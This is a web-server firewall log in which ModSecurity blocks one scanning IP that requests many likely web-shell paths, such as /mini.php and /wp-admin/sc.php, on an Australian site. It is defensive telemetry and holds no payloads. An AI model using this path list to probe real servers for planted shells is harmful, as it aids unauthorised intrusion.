[Mon Mar 02 11:02:41.873786 2026] [:error] [pid 31257:tid 31283] [client 172.190.142.176:24696] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/end.php"] [unique_id "aaT90f-JFLfishX45N9F5gAAARQ"]
[Mon Mar 02 11:02:42.420308 2026] [:error] [pid 21575:tid 21585] [client 172.190.142.176:61978] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaT90irocdArcJqFfInEGwAAAUY"]
[Mon Mar 02 11:02:42.894014 2026] [:error] [pid 31257:tid 31267] [client 172.190.142.176:48887] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaT90v-JFLfishX45N9F6wAAAQQ"]
[Mon Mar 02 11:02:43.633692 2026] [:error] [pid 31257:tid 31275] [client 172.190.142.176:61984] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaT90_-JFLfishX45N9F8wAAAQw"]
[Mon Mar 02 11:02:44.250511 2026] [:error] [pid 23872:tid 23893] [client 172.190.142.176:24689] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaT91EzkQFuA2qBk8UPWDwAAAZI"]
[Mon Mar 02 11:02:44.762661 2026] [:error] [pid 31257:tid 31275] [client 172.190.142.176:64725] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaT91P-JFLfishX45N9F_AAAAQw"]
[Mon Mar 02 11:02:45.504042 2026] [:error] [pid 21575:tid 21590] [client 172.190.142.176:24647] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaT91SrocdArcJqFfInEIgAAAUs"]
[Mon Mar 02 11:02:46.132729 2026] [:error] [pid 28795:tid 28873] [client 172.190.142.176:39682] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaT91rROd53wZBkdI_ex6AAAAIo"]
[Mon Mar 02 11:02:47.191767 2026] [:error] [pid 23872:tid 23899] [client 172.190.142.176:20885] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aaT910zkQFuA2qBk8UPWGAAAAZg"]
[Mon Mar 02 11:02:48.424529 2026] [:error] [pid 28908:tid 28913] [client 172.190.142.176:24678] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaT92IqJmC8ih_lQQnAPUAAAAMM"]
[Mon Mar 02 11:02:48.966510 2026] [:error] [pid 31257:tid 31276] [client 172.190.142.176:31801] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaT92P-JFLfishX45N9GFQAAAQ0"]
[Mon Mar 02 11:02:50.094368 2026] [:error] [pid 31257:tid 31282] [client 172.190.142.176:49113] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaT92v-JFLfishX45N9GMQAAARM"]
[Mon Mar 02 11:02:50.647945 2026] [:error] [pid 21575:tid 21589] [client 172.190.142.176:48854] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error1.php"] [unique_id "aaT92irocdArcJqFfInENgAAAUo"]
[Mon Mar 02 11:02:51.233172 2026] [:error] [pid 28795:tid 28882] [client 172.190.142.176:11093] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaT927ROd53wZBkdI_ex7QAAAJM"]
[Mon Mar 02 11:02:51.754988 2026] [:error] [pid 21575:tid 21600] [client 172.190.142.176:44196] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaT92yrocdArcJqFfInEPgAAAVU"]
[Mon Mar 02 11:02:52.256714 2026] [:error] [pid 31257:tid 31284] [client 172.190.142.176:39721] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaT93P-JFLfishX45N9GSAAAARU"]
[Mon Mar 02 11:02:52.846923 2026] [:error] [pid 21575:tid 21584] [client 172.190.142.176:24640] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaT93CrocdArcJqFfInESQAAAUU"]
[Mon Mar 02 11:02:53.495842 2026] [:error] [pid 23872:tid 23892] [client 172.190.142.176:54465] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaT93UzkQFuA2qBk8UPWQwAAAZE"]
[Mon Mar 02 11:02:54.551560 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:35991] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaT93kzkQFuA2qBk8UPWTwAAAYs"]
[Mon Mar 02 11:02:55.723145 2026] [:error] [pid 23872:tid 23893] [client 172.190.142.176:35968] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaT930zkQFuA2qBk8UPWVgAAAZI"]
[Mon Mar 02 11:02:56.317795 2026] [:error] [pid 21575:tid 21590] [client 172.190.142.176:24682] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaT94CrocdArcJqFfInEVAAAAUs"]
[Mon Mar 02 11:02:57.230362 2026] [:error] [pid 21575:tid 21596] [client 172.190.142.176:13372] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaT94SrocdArcJqFfInEVQAAAVE"]
[Mon Mar 02 11:02:57.754441 2026] [:error] [pid 21575:tid 21585] [client 172.190.142.176:19747] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaT94SrocdArcJqFfInEVgAAAUY"]
[Mon Mar 02 11:02:58.210831 2026] [:error] [pid 28795:tid 28878] [client 172.190.142.176:44178] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaT94rROd53wZBkdI_ex8wAAAI8"]
[Mon Mar 02 11:02:58.914586 2026] [:error] [pid 23872:tid 23890] [client 172.190.142.176:61969] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaT94kzkQFuA2qBk8UPWYgAAAY8"]
[Mon Mar 02 11:02:59.743130 2026] [:error] [pid 23872:tid 23897] [client 172.190.142.176:1092] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaT940zkQFuA2qBk8UPWZwAAAZY"]
[Mon Mar 02 11:03:00.283297 2026] [:error] [pid 31257:tid 31286] [client 172.190.142.176:13591] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaT95P-JFLfishX45N9GbgAAARc"]
[Mon Mar 02 11:03:00.783958 2026] [:error] [pid 21575:tid 21601] [client 172.190.142.176:52915] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaT95CrocdArcJqFfInEWQAAAVY"]
[Mon Mar 02 11:03:01.468933 2026] [:error] [pid 28908:tid 28934] [client 172.190.142.176:43880] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaT95YqJmC8ih_lQQnAPXAAAANg"]
[Mon Mar 02 11:03:02.112058 2026] [:error] [pid 31257:tid 31276] [client 172.190.142.176:11251] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaT95v-JFLfishX45N9GegAAAQ0"]
[Mon Mar 02 11:03:02.889533 2026] [:error] [pid 31257:tid 31284] [client 172.190.142.176:54512] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaT95v-JFLfishX45N9GfgAAARU"]
[Mon Mar 02 11:03:04.172951 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:43881] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaT96EzkQFuA2qBk8UPWdgAAAYA"]
[Mon Mar 02 11:03:05.341030 2026] [:error] [pid 31257:tid 31269] [client 172.190.142.176:24642] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaT96f-JFLfishX45N9GjQAAAQY"]
[Mon Mar 02 11:03:06.088376 2026] [:error] [pid 23872:tid 23888] [client 172.190.142.176:11228] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaT96kzkQFuA2qBk8UPWgQAAAY0"]
[Mon Mar 02 11:03:07.164364 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:49150] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaT96_-JFLfishX45N9GmAAAAQE"]
[Mon Mar 02 11:03:07.888736 2026] [:error] [pid 28794:tid 28846] [client 172.190.142.176:22600] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaT966Vy2qpaelbUob16GQAAAEo"]
[Mon Mar 02 11:03:15.069139 2026] [:error] [pid 21575:tid 21591] [client 172.190.142.176:52872] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/raw.php"] [unique_id "aaT98yrocdArcJqFfInEeQAAAUw"]
[Mon Mar 02 11:03:16.122867 2026] [:error] [pid 21575:tid 21592] [client 172.190.142.176:29531] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/raw.php"] [unique_id "aaT99CrocdArcJqFfInEegAAAU0"]
[Mon Mar 02 11:03:17.259153 2026] [:error] [pid 23872:tid 23876] [client 172.190.142.176:22635] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/raw.php"] [unique_id "aaT99UzkQFuA2qBk8UPWtwAAAYE"]
[Mon Mar 02 11:03:18.250663 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:1135] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/raw.php"] [unique_id "aaT99kzkQFuA2qBk8UPWvgAAAYo"]
[Mon Mar 02 11:03:18.482120 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:24047] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaT99kzkQFuA2qBk8UPWwAAAAZQ"]
[Mon Mar 02 11:03:18.907038 2026] [:error] [pid 31257:tid 31278] [client 172.190.142.176:29553] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaT99v-JFLfishX45N9GxQAAAQ8"]
[Mon Mar 02 11:03:19.573488 2026] [:error] [pid 21575:tid 21584] [client 172.190.142.176:18340] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaT99yrocdArcJqFfInEfwAAAUU"]
[Mon Mar 02 11:03:20.273476 2026] [:error] [pid 31257:tid 31283] [client 172.190.142.176:1634] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aaT9-P-JFLfishX45N9GywAAARQ"]
[Mon Mar 02 11:03:20.958597 2026] [:error] [pid 28908:tid 28917] [client 172.190.142.176:40857] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaT9-IqJmC8ih_lQQnAPdAAAAMc"]
[Mon Mar 02 11:03:21.570202 2026] [:error] [pid 31257:tid 31287] [client 172.190.142.176:13611] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaT9-f-JFLfishX45N9GzgAAARg"]
[Mon Mar 02 11:03:22.229995 2026] [:error] [pid 28908:tid 28911] [client 172.190.142.176:41704] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaT9-oqJmC8ih_lQQnAPeAAAAME"]
[Mon Mar 02 11:03:22.783457 2026] [:error] [pid 21575:tid 21596] [client 172.190.142.176:40870] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aaT9-irocdArcJqFfInEgwAAAVE"]
[Mon Mar 02 11:03:23.308080 2026] [:error] [pid 21575:tid 21593] [client 172.190.142.176:24808] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaT9-yrocdArcJqFfInEhAAAAU4"]
[Mon Mar 02 11:03:23.832878 2026] [:error] [pid 31257:tid 31265] [client 172.190.142.176:29564] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaT9-_-JFLfishX45N9G1QAAAQI"]
[Mon Mar 02 11:03:24.348702 2026] [:error] [pid 21575:tid 21595] [client 172.190.142.176:1609] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaT9_CrocdArcJqFfInEiQAAAVA"]
[Mon Mar 02 11:03:25.294411 2026] [:error] [pid 28795:tid 28885] [client 172.190.142.176:26121] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xda.php"] [unique_id "aaT9_bROd53wZBkdI_eyDgAAAJY"]
[Mon Mar 02 11:03:26.419727 2026] [:error] [pid 31257:tid 31266] [client 172.190.142.176:37292] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaT9_v-JFLfishX45N9G4wAAAQM"]
[Mon Mar 02 11:03:26.926913 2026] [:error] [pid 28795:tid 28876] [client 172.190.142.176:37299] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaT9_rROd53wZBkdI_eyGAAAAI0"]
[Mon Mar 02 11:03:27.432306 2026] [:error] [pid 31257:tid 31269] [client 172.190.142.176:37261] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaT9__-JFLfishX45N9G5wAAAQY"]
[Mon Mar 02 11:03:28.224740 2026] [:error] [pid 31257:tid 31271] [client 172.190.142.176:40800] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaT-AP-JFLfishX45N9G7QAAAQg"]
